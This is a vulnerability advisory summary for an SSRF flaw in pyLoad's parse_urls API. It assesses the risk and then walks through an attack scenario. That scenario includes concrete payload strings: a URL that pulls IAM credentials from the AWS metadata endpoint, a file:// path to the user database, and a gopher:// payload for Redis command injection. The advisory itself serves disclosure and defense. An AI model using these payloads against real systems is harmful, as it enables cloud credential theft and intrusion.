Python CVE-2026-35187

Authenticated user with ADD permission in pyLoad can exploit the parse_urls API function in src/pyload/core/api/__init__.py (line 556) to perform SSRF attacks. Attacker can fetch arbitrary URLs via HTTP/HTTPS, file://, gopher://, and dict:// protocols without validation, reading local files and accessing internal services.

Real-world risk is HIGH despite requiring authenticated access with ADD permissions. The CVSS vector (AV:N/AC:L/PR:L/UI:N/S:C) indicates network-based attacks with low complexity and scope change, meaning authenticated users can reach resources beyond their normal authorization boundary. The Changed scope combined with high confidentiality impact (C:H) accurately reflects the ability to read files and access services outside the application's intended domain. Cloud deployments face elevated risk as attackers can retrieve IAM credentials from metadata endpoints (AWS 169.254.169.254, GCP metadata server), potentially pivoting to full cloud infrastructure compromise. Docker environments are explicitly confirmed vulnerable per proof-of-concept against linuxserver/pyload-ng. The multi-protocol capability (file://, gopher://, dict://) significantly increases exploitability compared to HTTP-only SSRF, enabling Redis command injection, SMTP relay abuse, and direct database access. While authentication is required (PR:L), many pyLoad installations grant ADD permissions to regular users for legitimate download functionality, reducing the barrier to exploitation. The file existence oracle enables reconnaissance even when direct content extraction fails. No EPSS score or KEV status provided in input data, but the detailed technical advisory with working proof-of-concept increases likelihood of real-world exploitation.

An authenticated attacker with ADD permissions logs into a cloud-hosted pyLoad-ng instance and extracts the CSRF token from their session. They submit a malicious parse_urls API request with url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ to retrieve AWS IAM role credentials from the metadata endpoint. The server-side pycurl request succeeds, returning temporary AWS access keys that the attacker extracts from the response. Using these credentials, the attacker pivots to the organization's AWS infrastructure, accessing S3 buckets and EC2 instances. In a secondary attack, the attacker uses file:///config/data/pyload.db to read the SQLite database containing user credentials and download history, then leverages gopher://127.0.0.1:6379/_CONFIG%20SET%20dir%20/tmp to exploit an internal Redis instance for remote code execution. Publicly available exploit code exists in the form of detailed curl-based proof-of-concept commands in the GitHub advisory.